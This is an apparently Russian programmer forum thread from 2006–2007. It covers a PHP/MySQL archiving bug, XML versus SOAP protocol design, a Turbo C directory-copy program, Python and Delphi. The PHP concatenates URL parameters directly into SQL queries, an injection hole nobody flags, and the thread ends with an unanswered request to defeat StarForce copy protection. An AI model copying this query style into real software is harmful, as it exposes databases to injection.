 $query3 = "INSERT INTO arh_troubles SET idn='".$data["idn"]."', model='".$data["model"]."', uname='".$data["uname"]."', ugcode='".$data["ugcode"]."', ugroup='".$data["ugroup"]."', sysplace='".$data["sysplace"]."', place='".$data["place"]."', ptype='".$data["ptype"]."', comments='".$data["comments"]."', getdate='".$data["getdate"]."', gettime='".$data["gettime"]."', tshootdate='".$tshootdate."', tshoottime='".$tshoottime."', tshooter='".$data["tshooter"]."', complete='".$data["complete"]."'";
 mysql_query($query3,$db);

 $query4 = "DELETE FROM troubles WHERE idn='".$_GET["ready"]."'";
 mysql_query($query4,$db);
}

Вкратце:
Всё это - кривой скрипт перемещения записи из одной таблицы в другую.
По идее, предназначено для архивирования.
Если в скрипт из строки браузера передается переменная ready, выпорлняется вся эта шняга.
Начинается она с того, что в поле с номером $_GET[ready] в ячейку complete (всё в первой таблице) вносится значение "4". Идентификатор. Для чего - не суть. Он, в принципе тут участия не принимает.

Далее в ассоциативный массив $data выбираются и вносятся значения из той же самой строки таблицы. Согласно этих данных строится следующий запрос по добавлению данных во вторую таблицу (arh_troubles).
Этот запрос выполняется, после чего четвертым запросом удаляется ненавистная запись из первой таблицы и по идее все должны быть счастливы.
Внимание, вопрос:
Какого во второй таблице (arh_troubles) кроме нужной записи появляется ещё одна, совершенно левая, пустая строчка?
Третий день бьюсь головой ап клавиатуру. Тацы с бубнами ни разу не помогают. Что делать? Такое ведь невозможно...

Подумав, добавляет:
Посмотрел скока у меня весит скрипт обработки всего одной страницы и ужаснулся... 28Кб
И всё это написано вручную. И всё это всего одна страница, модераторская... а сколько ещё таких страниц... Про страницы для обычных смертных вообще молчу.

Автор: worldmind 7.4.2006, 14:40

Инскайпом не пользовался, юзаю OpenOffice Draw. А твой трабл не понятен, попробуй сформированные запросы вывести в лог или в браузер, может что проясниться, Удаляется то нормально или тоже три строки? :-)

Автор: MuXaJIbI4 7.4.2006, 14:54

а почему ты так запись добавляешь
попоробуй так
$query3 = "INSERT INTO arh_troubles VALUES ('$data[dn]', '$data[model]', '$data[uname]', '$data[ugcode]', '$data[ugroup]', '$data[sysplace]', '$data[place]', '$data[ptype]', '$data[comments]', '$data[getdate]', '$data[gettime]', '$tshootdate', '$tshoottime', '$data[tshooter]', '$data[complete]')";
хотя твой вариант может быть правильней ......... ведь я не знаю всели тут поля перечислены

Автор: ICEMan 7.4.2006, 15:52

Там в некоторых строках должны в определенных ситуациях присутствовать NULL... и это не все строки...
Пробовал так же как и ты. Чего-то накосячил, плюнул и поставил такой вид запроса. Кроме того там куча дополнительных полей ещё, слишком огромный запрос получается.
Ладно. Ещё раз попробую составить длинный запрос. Хоть бы получилось pray.gif ... запарился уже... если даже в этом случае не получится, придётся искать другие методы... Кроме того, ошибки могут быть в других функциях. Надо ещё раз код пересмотреть внимательно. Я умру... cray.gif

Автор: MuXaJIbI4 7.4.2006, 16:09

INSERT вставляет одну запись в таблицу ........ поэтому мне кажется у тебя скорее всего идёт обращение к этому скрипту ещё откудато

Автор: ICEMan 7.4.2006, 16:37

Вот и я о том же. На самом деле это всего лишь маленький кусочек одной функции. Буду пересматривать.
Я, конечно, могу выложить сюда весь скрипт, но вы запаритесь его читать... там что-то порядка 800 строф smile.gif

Немного подумав, добавляет:
Хм... Меня терзают смутные сомнения.
На самом деле запрос по занесению данных в таблицу arh_troubles во всём файле встречается всего один раз - здесь.

Боюсь что эта функция где-то неявно вызывается. Или повторное обращение происходит по лишней итерации.
Вот жеж блин написал блок... чёрт ногу сломит rolleyes.gif

Немного подумав, добавляет:
Ай, блин... ну его нафиг.
В понедельник продолжу. С работы скоро уже уходить. Наконец то выходные...

Автор: Balamut 7.4.2006, 19:06

Цитата(ICEMan @ 7.04.2006 - 14:19)
Значиццо, у меня трабл.
Есть, допустим, следующий код:
Код
$query1 = "INSERT INTO troubles SET complete='4' WHERE idn='".$_GET["ready"]."'";

*

чото не догоняю как это ваще работает. помоему нет у оператора INSERT опции WHERE (если это не INSERT SELECT - а это не INSERT SELECT - нет SELECT и обрабатывается одна строчка). может вместо INSERT INTO поставить UPDATE ?

Автор: ICEMan 7.4.2006, 21:01

Balamut, good.gif

Автор: ICEMan 7.4.2006, 21:12

Только вот эта строчка отвечает за внесение значения в таблицу troubles, а лишняя строчка появляется в arh_troubles smile.gif

Автор: Balamut 7.4.2006, 22:35

Цитата(ICEMan @ 7.04.2006 - 21:12)
Только вот эта строчка отвечает за внесение значения в таблицу troubles, а лишняя строчка появляется в arh_troubles smile.gif
*

хрен его знает что там в коде мускуля - я не интересовался. определенно выполнение запроса с таким синтаксисом (INSERT + WHERE) вызывает глюк. а уж как он там проявляется - (может она заносит в последнюю таблицу использованную оператором INSERT) хрен его знает. странно то в лог ничего не вываливает. или вываливает? ща попробую.

попробовал.
мускуль 3.23 на INSERT + WHERE заругалсо...

Автор: ICEMan 8.4.2006, 0:12

На рабочем серваке отключены все уведомления.
Попробую завтра конструкцией or die(mysql_error()); чего нить добицца...

Автор: fantom 8.4.2006, 7:13

Пока дошёл до последнего поста - аж мозг закипел. smile.gif
ПО поводу вставления пустой строки, имхо, где-то в конце скрипта нет команды завершения транзакции (?), и мускуль думает, что сейчас будет ещё раз обращение, и поэтому ЗАРАНЕЕ готовит ещё одну строку в базе данных. (а иногда и 10 сразу spiteful.gif )
В любом случае надо смотреть логи, что творит код. Допускаю такую мысль, что и транзакции там не причём.
-------------------
Что касается предпочтительности языка для создания супер-пупер проекта - всё зависит от того, каким языком в совокупности лучше всего владеет группа кодеров. Если Си - то пусть будет Си. Если Перл - да запросто.
А вот что касается всей мощи использования классов, вот тут как раз Питон Перл делает, и ощутимо подвигает Си++ для покурить.
Я бы не стал утверждать, что Гугл - это частный случай использования Питона. Это одна из самых крупных компаний в интернете по капиталу, и крупнейший спонсор проекта Питон - ежегодные отчисления на добровольной основе в фонд Питона составляют более 5 млн. долларов. Общие отчисления в фонд Питона каждый год составляют более 20 млн. долларов от таких контор как IBM, AMD, Sun, NEC, Samsung, Oracle(sic!!!), Intel насколько я помню принципиально не отчисляет никаких денег smile.gif)). Можно сказать - жмоты.
Что касается главного преимущества Питона - РЕКОРДСМЕН по портабельности. Программа написанная один раз - будет выполняться ВЕЗДЕ. Главный мысль клёвый чел Гуидо ван Россам.
И кстати, Питон поддерживает (встроенными средставми) в виде классов Bercli DB, cookie, socet Server, HTTP_Server, Server_Proxy, XML-RPC, CGI-XML_RPC, email, MIME, rfc822, csv, HTML-Parser, audio-oop, image-oop, wav, AU, md5, sha, ..... И ещё около 250 встроенных модулей со всякой всячиной. Почему я именно эти привёл - да потому что на них сделать движок - самое милое дело.
И кстати, и логирование встроенными средствами тоже поддерживается. smile.gif

Немного подумав, добавляет:
--------------
Гугл в Питере собрается открыть толи 200, толи 500 рабочих мест. Делайте выводы, господа хорошие.

Автор: fantom 14.4.2006, 19:09

Ура, товарищи!
Python 2.5 alfa доступен для скачивания! smile.gif))
Уже больше недели.
Сам пока его только качаю, но по отзывам нововведений вполне хватает. smile.gif
Будем посмотреть.

Автор: alexweb 17.4.2006, 13:20

Так. Вставлю свои пять копеек по поводу написания софтины, которая бы забирала только новые посты и позволяла постить новые мессаги без жуткого html траффика. К сожалению, все распространенные форумные движки страдают этой х***й.

Единственный правильный шаг в этом направлении - это использование веб-сервисов, а именно написание серверной компоненты (в данной ситуации - плагина к форуму), которая будет xml-rpc или soap сервером.
Этот плагин будет отвечать за авторизацию и за предоставление доступа к данным (в чистом виде, без html, css траффика).

Клиентские приложения при таком подходе можно будет писать на чем угодно. Можно даже написать на XUL плагин к gecko браузерам (см http://xpoint.ru)

Автор: SunOfABeach 17.4.2006, 15:08

Цитата(alexweb @ 17.04.2006 - 14:20) *
Единственный правильный шаг в этом направлении - это использование веб-сервисов, а именно написание серверной компоненты (в данной ситуации - плагина к форуму), которая будет xml-rpc или soap сервером.
Этот плагин будет отвечать за авторизацию и за предоставление доступа к данным (в чистом виде, без html, css траффика).

По твоему наущению я уже думал в этом направлении и пришел к выводу, что разарабатывать нужно в три основных этапа:

1. Разработка протокола обмена данными;
2. Разработка серверной части;
3. Разработка простого клиента.

Пункт 1 - самый важный. Имхо, лучше всего придумать какой-нибудь XML-формат. Желательно, чтобы XML использовался и для запросов, и для ответов, тогда простой клиент может быть написан даже на ajax'е.

Пока это все укладывается в твои выводы. Единственное, с чем я не совсем согласен, это с написанием сервера. Имхо, тут сервер лишнее, достаточно скрипта, обслуживающего запросы.

Автор: ICEMan 17.4.2006, 15:10

2alexweb
Ты абсолютно прав.

Автор: alexweb 17.4.2006, 15:22

2SunOfABeach
Я в принципе и имел в виду скрипт(ы), а не сервер

Цитата
Пункт 1 - самый важный. Имхо, лучше всего придумать какой-нибудь XML-формат. Желательно, чтобы XML использовался и для запросов, и для ответов, тогда простой клиент может быть написан даже на ajax'е.

Никакого нового формата выдумывать не нужно - давно уже умные придумали SOAP, и в ЛЮБОМ ЯЗЫКЕ ЕСТЬ СРЕДСТВА ДЛЯ РАБОТЫ С НИМ, что значительно ускоряет разработку

Для справки:

# SOAP — протокол обмена структурированными сообщениями в распределенной вычислительной среде. ...
ru.wikipedia.org/wiki/SOAP

# Протокол доступа простых объектов. Протокол, описывающий модель упаковки XML запросы и ответы. Обмен сообщениями через SOAP позволяет обмениваться серверу и клиенту любой информацией в формате XML.
www.webasyst.ru/glossary.htm

Автор: ICEMan 17.4.2006, 22:03

В общем целом нужно всего лишь отработать алгоритм синцхронизации БД форума (вернее его части - мы не заватываем закрытую информацию, недоступную на форуме, только паблик.) с БД на локальной машине. Можно для простоты решения даже структуру БД не менять.
Кроме того, нужно написать сервлет для авторизации.
Сам же клиент предполагается как оболочка для локальной БД у юзера, которая будет отвечать за:
- начало авторизации
- обработка куки
- поддержка сессии
- синхронизация с серверной БД автоматически/по требованию
- формы ответа+цитирования, изменения персональных данных

Может быть что-то упустил...

Автор: SunOfABeach 18.4.2006, 13:37

Цитата(alexweb @ 17.04.2006 - 16:22) *
2SunOfABeach
Я в принципе и имел в виду скрипт(ы), а не сервер
Никакого нового формата выдумывать не нужно - давно уже умные придумали SOAP, и в ЛЮБОМ ЯЗЫКЕ ЕСТЬ СРЕДСТВА ДЛЯ РАБОТЫ С НИМ, что значительно ускоряет разработку

В любом языке есть средства для работы с XML. Ну, по крайней мере, в любом современном. SOAP есть подмножество XML, которое в данном конкретном случае, имхо, есть средство избыточное.

Давай разберем, что нам нужно для реализации.

1. Авторизация.
От клиента серверу передается логин-пароль, от сервера клиенту - SID. В упрощенном случае можно даже без этого обойтись, а передавать логин-пароль при каждом запросе. Но лучше SID, тогда для уверенности можно хранить информацию о SID (IP, например) на сервере.

2. Запросы клиента
2.1. Запрос на выборку
Запрос, по которому сервер возвращает клиенту список сообщений, удовлетворяющих условиям. Именно эти условия и должны отражаться в запросе. Т.е. тут что-то наподобие простого SELECT из синтаксиса SQL, где в FROM используется имя ID топика, а в WHERE прописываются эти самые условия.
Пример:
Код
<query>
  <command>select</command>
  <from>[topicID]</from>
  <where>
    <start>[startPosition]</start>
    <records>[recordsToShow]</records>
    <user>[userID or userName]</user>
    <dateFrom>[messageDateFrom]</dateFrom>
    <dateTo>[messageDateTo]</dateTo>
<!-- другие условия -->
  </where>
</query>


2.2. Запросы на изменение
А тут что-то типа UPDATE, INSERT и DELETE в SQL.
Тут то же самое, что и при SELECT, только добавляются поля <messageID> и/или <messageText>.

3. Ответы сервера.
Это вообще самая простая часть. Ответ сервера состоит из двух частей: 1) сообщение об ошибках, 2) выборка.
Пример:
Код
<answer>
  <errors>
    <errCode>0</errCode>
    <errDescrition>Well done</errDescription>
  </errors>
  <messages>
    <message id="[messID]">
      <date>[date]</date>
      <userID>[userID]</userID>
      <userName>[userName]</userName>
<!-- тут еще какие-нибудь поля... -->
      <messageText>
скажите, а пачиму у миня низопускаеццо венда.
я вчира пирифарматирывал винт и она пиристала зопускаццо
можыт быть у миня какойнибуть вируз?
      </messageText>
    </messID>
    <message id="[messID]">
<!-- остальные сообщения -->
    </messID>
  </messages>
</answer>


Все, больше ничего не нужно. Вся остальная функциональность, типа смайликов, предварительного просмотра, цитирования и т.п. - все это делается на клиенте.

Т.о. получаем, что серверная часть есть своего рода ретранслятор из XML в SQL при обращении клиента, и из ответа БД в XML при ответе сервера.

Так что SOAP тут - из пушки по воробьям.

Теперь что касается клиента. Вначале, думаю, было бы разумно сделать клиента на ajax'е. Потом нужно будет на его основе отладить и описать API и протокол.

Надеюсь, понятно объяснил?

Автор: Balamut 18.4.2006, 19:56

Цитата(ICEMan @ 8.04.2006 - 00:12) *
На рабочем серваке отключены все уведомления.
Попробую завтра конструкцией or die(mysql_error()); чего нить добицца...

интересно чем закончилось....

Автор: ICEMan 19.4.2006, 0:26

Цитата(Balamut @ 18.04.2006 - 19:56) *
интересно чем закончилось....

Да ничем не закончилось.
При подстановке mysql_close() в функцию закрывалась сессия с БД и ничего не грузилось.
В любом случае данная функция не при чем. Я поставил автоматическую запись даты и времени архивирования записи и сравнил время появления данных в архиве с фактическим временем архивации записей. Нет ни одного совпадения.
Сейчас занимаюсь поиском неявных вызовов данной функции и, матерясь, удаляю левые нулевые записи smile.gif

Автор: fantom 4.5.2006, 20:20

Почитал на предыдущей странице по поводу SOAP-XML.
Вот мля не согласен! %)
Ниже были приведены хмл-тексты, ну вы меня хоть растреляйте - ГДЕ ЭКОНОМИЯ ТРАФФИКА?
Не проще ли делать примерно так:
#001А мне пофигу!#00CДа кто тебя спрашивать будет. spiteful.gif #0A1 Да не ты уж видимо.
Коды будут обозначать теги типа, <messages>, <errors> - всяк короче будет.
Ну и опять же. gzip, ау, где ты???

Автор: Brutall 7.5.2006, 11:33

Подскажите кто-нить, тут такая проблема возникла. Надо написать прогу на простом СИ:

Скопировать содержимое всех найденных директориев с именем ТМР в корневой директорий, переименовав их ТМР1, ТМР2, …

Написал почти всю, проблема осталась в том, чтобы скопировать файлы из найденных каталогов с именем TMP в нужный. Как сделать? А то чот затупил. Вот сама прога:

Код
#include<dos.h>
#include<dir.h>
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
int y=1;
char path2[300]=" :\\TMP1",z1[300]="";
void CopyDir(void)
  {
  struct ffblk ff; int x,n=3;
  char path3[300];
  strcpy(z1,path2);
  for (x=findfirst("*.*",&ff,FA_DIREC);!x;x=findnext(&ff))
    if (ff.ff_name[0]!='.'&&ff.ff_attrib&'\x10')
      {
      getcurdir(getdisk()+1,path3);
      while (path3[n]!='T'||path3[n+1]!='M'||path3[n+2]!='P')n++;
      strcat(strcat(strcat(z1,path3+n+3),"\\"),ff.ff_name);
      if (mkdir(z1)!=0)
    printf("Error creating directory\n");
      chdir(ff.ff_name);
      CopyDir();
      chdir("..");
      }
  }

void NextDir(void)
  {
  struct ffblk ff; int x;
  char cmp[]="TMP", z[3];
  for (x=findfirst("*.*",&ff,FA_DIREC);!x;x=findnext(&ff))
    if (ff.ff_name[0]!='.'&&ff.ff_attrib&'\x10')
      {
      chdir(ff.ff_name);
      if (!strcmp(ff.ff_name,cmp))
    {
    path2[6]=0;
    itoa(y++,z,10);
    strcat(path2,z);
    if (mkdir(path2)!=0)
      printf("Error creating directory\n");
    else CopyDir();
    }
      else
    NextDir();
    chdir("..");
      }
  }

void main(void)
  {
  char path[300];
  getcurdir(getdisk()+1,path);
  path2[0]=getdisk()+'A';
  NextDir();
  chdir("path");
  }

Автор: Тошик 7.5.2006, 22:10

Вооо!!! Наконецто я добрался до этой темы!!! Всё я поселяюсь в ней!!! )))
html,css,javascript,php+mysql - Моя стихия...

Автор: ICEMan 8.5.2006, 5:30

2 Тошик
Даффай насчот С++ smile.gif
2Бруталл,
Честно, мне влом лезть в мануалы. Попробуй разобрацца сам. Но насколько я помню в С++ нет полного копирования файта, только в потоке. Хотя, быть модет я ошибаюсь...

Автор: Brutall 8.5.2006, 11:19

О! Нашёл. Думал уже посимвольно файл копировать, или по строкам, но откопал там функцию, которая вызывает досовские команды:
system(argum);
а там в аргументе можно указать "copy c:\\1.txt G:\\shit\2.txt"

Автор: ICEMan 11.5.2006, 8:52

Ну вот и всё smile.gif
Представляю себе что бы было при использовании последовательности
1 fopen...
2 ferror...
3 feof...
4 fgets...
5 fputs...
6 fclose...
smile.gif

Автор: ICEMan 12.5.2006, 15:48

Найден рецепт LDAP-авторизации, проблемой которого я занимаюсь уже пять месяцев.
Скрипт может определить имя пользователя, зашедшего на страницу, и домен, в котором он находится.
Если кому понадобится - пишите.

Автор: fantom 12.5.2006, 21:27

А я пару дней назад вычислил как в Python можно генерировать звуки системной бикалкой и воспроизводить звук более чем 50 форматов. smile.gif

Автор: alexweb 17.5.2006, 11:42

Цитата(ICEMan @ 12.05.2006 - 16:48) *
Найден рецепт LDAP-авторизации, проблемой которого я занимаюсь уже пять месяцев.
Скрипт может определить имя пользователя, зашедшего на страницу, и домен, в котором он находится.
Если кому понадобится - пишите.

Ага, молодец. Лучше выложи его на hotscripts.com или на phpclasses.org - может еще и бабла накосишь secret.gif

Автор: ICEMan 17.5.2006, 16:39

Неплохая, кстати, идея crazy.gif

Автор: ICEMan 19.5.2006, 12:03

Решил я как-то на досуге (а именно сегодня) заняться таки оптимизацией кода, сокращением, а то и удалением неиспользуемых участков программы да и вообще... короче оптимизацией.
Уж больно всё как-то кривовато передается, причем чёрт знает откуда чёрт знает куда... левые переменные, которые пооставались то тут, то там в процессе отладки...
Короче так как проект почти завершен и скоро будет проходить обкатку на рядовых юзерах, решил почистить мусор и разложить всё по полочкам....
Но, господа, не все оказалось так просто. Несмотря на то, что проект полностью лежит на моих плечах, разобраться в трёх метрах чистого кода оказалось не так то просто!
Уже через полчаса я погряз в месиве из PHP, HTML и Javascript кода, который, в итоге, все-таки удалось кое-как распихать в более-менее читаемый текст. Но остается одно НО. Если система претерпит какие-либо глобальные изменения, боюсь на её отладку может уйти неделя, если не больше.
Сейчас занялся вплотную этим вопросом, потихоньку переписываю код, придавая ему человеческий вид. Кой-какие комментарии... Ну в общем делаю как надо. А всё почему так получилось. Проект писался буквально на коленке. Времени мало, работы много. Естественно составлением серьёзного ТЗ никто не занимался. Решено было все доделывать в процессе. Первое тестирование состоялось уже через неделю со дня старта. И потом уже на кривой движок начали налипать функции и классы, которые писались под этот же движок. Когда же стало понятно, что ещё немного и все рухнет к чертовой матери, сначала была изменена структура БД, приведена таки к третьей НФ, после чего ещё две недели переписывался весь движок и ещё пара дней ушла на его отладку и отладку прилежащих модулей. Такая вот страшная картина.
Так вот, к чему я это всё...
Рекомендация от дедушки Айса.
Если вы хотите создать хороший, стабильно работающий и гибкий продукт, как можно серьезнее отнеситесь к составлению ТЗ и описанию ВСЕХ функций, связей, структур и т.п. Если этого не сделать, проект будет обречен на не очень приятные нештатные ситуации. Пусть мелкие, но поедающие ваше время.
Вот. old.gif

Автор: fantom 19.5.2006, 20:34

сё что ты описал есть суть курса "Технологии разработки программного обеспечения".
1. Организация.
2. Анализ.
3. Структура.
4. Статическая/динамическая модель.
5. Тестирование.
6. Сопровождение.
7. Модернизация.
---------------
Всё это не просто.
В любом случае, опыт программирования на смежных языках и в смежных областях - необходим.
По поводу тестирования. В Python имеется модуль profile - предназначен как раз для процессов оптимизации. После несложной проработки можно ускорить процесс примерно в 1,5 1,7 раза.

Но не стоит увлекаться.
Так сказать, 80% времени занимает 20% кода

Автор: ICEMan 21.5.2006, 22:39

Цитата(fantom @ 19.05.2006 - 20:34) *
сё что ты описал есть суть курса "Технологии разработки программного обеспечения".
1. Организация.
2. Анализ.
3. Структура.
4. Статическая/динамическая модель.
5. Тестирование.
6. Сопровождение.
7. Модернизация.
---------------
Всё это не просто.
В любом случае, опыт программирования на смежных языках и в смежных областях - необходим.
По поводу тестирования. В Python имеется модуль profile - предназначен как раз для процессов оптимизации. После несложной проработки можно ускорить процесс примерно в 1,5 1,7 раза.

Но не стоит увлекаться.
Так сказать, 80% времени занимает 20% кода

В этом я тебя полностью поддерживаю.

Автор: fantom 29.5.2006, 20:08

К сожалению, вынужден признать тот факт, что дела огородные и родильные меня полностью оторвали от написания кода. Кроме того, занимаюсь паралелльно переводом официальной документации по Python. Как многие могли заметить. Смежные занятия спортом носят характер откровенного косячества. Но всё-таки буду потихоньку топтаться в указанном направлении.
На вопросе решение проблемы: перевод символов Юникода в раскладки koi-8r и cp1251, т.к. сам Python - этого делать не умеет. А это - напряг.

Автор: alexweb 8.6.2006, 7:39

Цитата(fantom @ 29.05.2006 - 21:08) *
На вопросе решение проблемы: перевод символов Юникода в раскладки koi-8r и cp1251, т.к. сам Python - этого делать не умеет. А это - напряг.

Не гони nono.gif

Автор: ICEMan 8.6.2006, 9:41

Цитата
перевод символов Юникода в раскладки koi-8r и cp1251

А зачем? huh.gif

Подумав, добавляет:
Код
В 1991 году была предпринята попытка создать единую универсальную двухбайтовую кодировку, охватывающую все алфавиты и иероглифические системы мира. Результатом стал стандарт под названием Unicode, покрывающий не только системы письменности всех живых и большинства мертвых языков мира, но и множество музыкальных, математических, химических и прочих символов. Хотя массовое применение Unicode в документах и программах остается делом будущего, эта кодировка имеет особое значение, так как именно она объявлена «стандартной кодировкой документа» в HTML начиная с версии 4

А что, твой "замечательный" Питон разве не умеет этого делать?

Ещё чуточку пораскинув мозгами, добавляет:
Занимаюсь денормализацией БД. Болит голова и хочется есть. Когда же всё это закончится уже?

Мы все умрём... ©

Автор: fantom 11.6.2006, 22:41

AlexWeb:
_>> На вопросе решение проблемы: перевод символов Юникода в раскладки koi-8r и cp1251, т.к. сам
_>> Python - этого делать не умеет. А это - напряг.
_>Не гони
"Я тебе не гоню". (с) "Терминатор-3"
Если говорить о переводе из локальных кодировок в Юникод - Python справляется блестяще. А вот из Юникода, в обрат - это знаешь ли пока проблема. В сути конвертации кодировок ничего сложного нет, так что процесс идёт. smile.gif Если говорить более строго, koi-84, cp1251 и cp866 - взаимно конвертируются без проблем. smile.gif

http://www.fantom-lab.narod.ru/files/Client.zip здесь.
Общий вес архива - 20 кило.
Можно сказать, первая попытка встаривания плагинов. smile.gif
В папке "Template" желающие могут обнаружить шаблон плагина. smile.gif

Автор: fantom 8.10.2006, 12:30

Поповоду того, что Python не может конверитровать кодировки, к счастью, - я оказывается всё-таки прогнал. smile.gif
Не совсем логично это у Python'а получается, но тем не менее - работает!!!!
-------------------------
"Как молоды мы были...."

Автор: fantom 24.12.2006, 10:45

На Python, кроме мульти-сервера Zope(Зоуп) есть несколько вполне милых вещей. Например, Spyce (текущая версия 2.1) - гораздо легче стартует, по объёму - смешной, по функционалу - весьма похож на IIS, но сделан специально для Python. Кроме того, в нете можно свободно скачать SmallHTTP Server - порядка 120 кило - ftp, http, DNS, proxy, gzip, smtp - ВСЁ в одном флаконе.
Под Python есть все средства чтобы сделать аналогичные вещи. smile.gif

Автор: ===СТАЛИНЕЦ=== 8.1.2007, 11:49

Люди,я вот щас в новостях слышал,что вышел обновлённый Ford Focus, системы которого управляются голосом. А в компьютерном деле с этим,как известно,напряг. Так я подумал: форд дерьмо на свою тачку не поставит,нельзя ли ту прогу выдрать с компа Форда Фокуса?

Автор: worldmind 9.1.2007, 9:58

А с чего ты решил что это прога?
Скорее всего это аппаратно-программный комплекс

Автор: alexweb 9.1.2007, 10:45

Цитата(===СТАЛИНЕЦ=== @ 8.01.2007 - 11:49) *
Люди,я вот щас в новостях слышал,что вышел обновлённый Ford Focus, системы которого управляются голосом. А в компьютерном деле с этим,как известно,напряг. Так я подумал: форд дерьмо на свою тачку не поставит,нельзя ли ту прогу выдрать с компа Форда Фокуса
Незачем выдирать - это все уже есть.... поищи по инету.

Автор: Schnapz 9.1.2007, 14:03

Цитата
Ещё чуточку пораскинув мозгами, добавляет:
Занимаюсь денормализацией БД. Болит голова и хочется есть. Когда же всё это закончится уже?

Денормализацией?? swoon.gif А зачем? У нас на работе наоборот нужно некоторые базы заново пересобирать, а то это песееец - три нормальные формы табличек ваще никому нафик не нужны, столько геморроя потом с ними, аж раздражает....

Автор: worldmind 10.1.2007, 13:14

Про нормализацию ... не надо, если не делать потом жопа, я гомельской автошколе простой учёт делал из-за того что задача в процессе написания расширялась - нормализация кончилась, это жопа, на диплом полностью структуру переделывал

Автор: ICEMan 15.1.2007, 13:27

Денормализация иногда необходима. У меня был частный случай.
Всё хорошо в меру.

Автор: Макс 16.1.2007, 1:19

Люди кто хорошо знает delphi отзовитесь.Есть вопросы.

Автор: worldmind 16.1.2007, 9:09

Цитата(Макс @ 16.01.2007 - 01:19) *
Люди кто хорошо знает delphi отзовитесь.Есть вопросы.

Хорошо знает компания Borland и документация, а если есть вопросы, так задай, может и найдётся кто, я писал когда-то

Автор: alexweb 16.1.2007, 9:12

Рядом со мной три чела пишут на нем серьёзно. Что конкретно тебе нужно узнать?

Автор: Schnapz 16.1.2007, 14:24

Цитата
Всё хорошо в меру.

Неужели по-другому никак нельзя было сделать? А то потом какой-нить разработчик после тебя будет с этой базой мозг перетруждать. Меня уже например производные от слова "парсить" бесить начинают mad.gif
Цитата
Люди кто хорошо знает delphi отзовитесь.Есть вопросы.

Есть книжки в пдф-е, если надо будет, могу залить на сервак.

Автор: Vol.shebnik 24.2.2007, 21:15

Я злой Дельфин! В меру - Сишник, Явер, Яваскриптер, неплохо знаю ActionScript(встроеный во Flash)... а больше помоему ничего и не надо для счастья)))...
программирование - рулёза! программируя - развиваем мозги...

Автор: ICEMan 26.2.2007, 15:20

Цитата(Schnapz @ 16.1.2007, 14:24) *
Есть книжки в пдф-е, если надо будет, могу залить на сервак.

Мне нужны. Заливай.
Или можешь сделать торрент.

Автор: Schnapz 27.2.2007, 12:52

Цитата(ICEMan @ 26.2.2007, 16:20) *
Мне нужны. Заливай.
Или можешь сделать торрент.

Ок, я тогда ссылы сюда кину. Торренты конечно вещь хорошая, но с меня ничего нельзя будет скачать, если у тебя нет внешнего IP. Если есть - создам без проблем.

Автор: ICEMan 27.2.2007, 13:46

Ок. Кидай ссылки сюды.
Тока на рапиду не заливай bad.gif bad.gif

Автор: Макс 27.2.2007, 23:28

Привет программерам.Я вот тоже начинаю свой путь в большое программирование.Но вот не хватает общения с грамотными людьми.Сейчас в основном пишу на Delphi.Те кто реально в нем шарит прошу написать на аську 407902909.Есть вопросы.Заодно и опытом сможем обменятся.А то у меня знакомых толковых программистов маловато и иногда даже совета спорить не у кого...

Автор: Schnapz 28.2.2007, 16:14

Цитата(Макс @ 28.2.2007, 0:28) *
Привет программерам.Я вот тоже начинаю свой путь в большое программирование.Но вот не хватает общения с грамотными людьми.Сейчас в основном пишу на Delphi.Те кто реально в нем шарит прошу написать на аську 407902909.Есть вопросы.Заодно и опытом сможем обменятся.А то у меня знакомых толковых программистов маловато и иногда даже совета спорить не у кого...

Да ты лентяй, парень... bleh.gif Есть форумы, где задаются вопросы, и где на них отвечают. Персонально консультировать вряд ли кто будет bleh.gif

Цитата(ICEMan @ 27.2.2007, 14:46) *
Ок. Кидай ссылки сюды.
Тока на рапиду не заливай bad.gif bad.gif

Окей, седня положу. Если чо, на Айфолдер положу. Да, и еще, погляди-ка http://www.goldbook.ws, может найдешь, что тебе нужно secret.gif

Автор: Макс 28.2.2007, 18:20

Ну это вопрос кто из нас лентяй...Скорее это ты.Ты меня за дурака та не считай.Знаю я про эти форумы.Если тебе не охота на пару моих вопросов по аське ответить так бы и сказал...Я хотел сказать что просто ищу программеров с которыми можно нормально пообщаться.И почему я не могу найти их здесь как на любом нормальном форуме...Лучше бы сначала поговорил со мной а потом делал выводы.Торопишься ты слишком...

Автор: worldmind 28.2.2007, 19:08

Шнапс, сказал то что сказал бы и любой в ответ на твой пост, есть вопросы задавай, почему тебе именно ася нужна, чего стыдишся?
И что значит "Знаю я эти форумы", чем тебя не устраивают специализированные ресурсы с документацией и форумом?

Автор: ===СТАЛИНЕЦ=== 28.2.2007, 19:23

Дело в том,что мы с Максом сидим в инете с телефонов, а это неудобно по форумам лазать...

Автор: Schnapz 28.2.2007, 19:53

Цитата(Макс @ 28.2.2007, 19:20) *
Ну это вопрос кто из нас лентяй...Скорее это ты.Ты меня за дурака та не считай.Знаю я про эти форумы.Если тебе не охота на пару моих вопросов по аське ответить так бы и сказал...Я хотел сказать что просто ищу программеров с которыми можно нормально пообщаться.И почему я не могу найти их здесь как на любом нормальном форуме...Лучше бы сначала поговорил со мной а потом делал выводы.Торопишься ты слишком...

rofl.gif Мне уже многие программерские форумы приходилось почитывать в поисках инфы, и таких как ты - пруд пруди. Типа, помогите мне советом, вот e-mail или аська smile.gif Сам подумай, кому это надо - че-то там писать, куда-то стучаться, чтоб тебя потом мучали вопросами spiteful.gif Вот именно, что никому.

И еще по поводу лени - там на предыдущей (11-ой) страничке alexweb 16 января 2007 написал ответ на твой вопрос, по поводу шарящих в delphi людей:
Цитата
Рядом со мной три чела пишут на нем серьёзно. Что конкретно тебе нужно узнать?


Намек понятен? spiteful.gif

Автор: Schnapz 28.2.2007, 21:34

Пара книг, как и обещал:

Это две наиболее интересные и маловесящие книги. Валяется еще какая-то фуфлыжная Delphi глазами Хакера, кому надо, залью, и еще есть две серьезных вещи - Delphi 2005 для Win32 и Delphi 2005 для .NET, но они весят по 100-150 мб в пдфе и с трудом поддаются архивации, буду выкладывать только если они сильно кому-то нужны crazy.gif

Автор: ICEMan 1.3.2007, 10:58

Спасибо, сегодня закачаю.
Пороюсь еще у себя, если какую документацию найду - тож выложу.

Автор: ===СТАЛИНЕЦ=== 3.3.2007, 17:29

Люди,подскажите, как сэмулировать игру со стар форс 3? Есть алкоголь 120%, демон туулз, неро и ещё какая-то прожка "StarFuckerRevolution". У меня опыта и мозгов не хватило, как ни пытался. И можно ли сделать полноценный образ,чтоб его на болванку потом?

Автор: ===СТАЛИНЕЦ=== 6.3.2007, 17:13

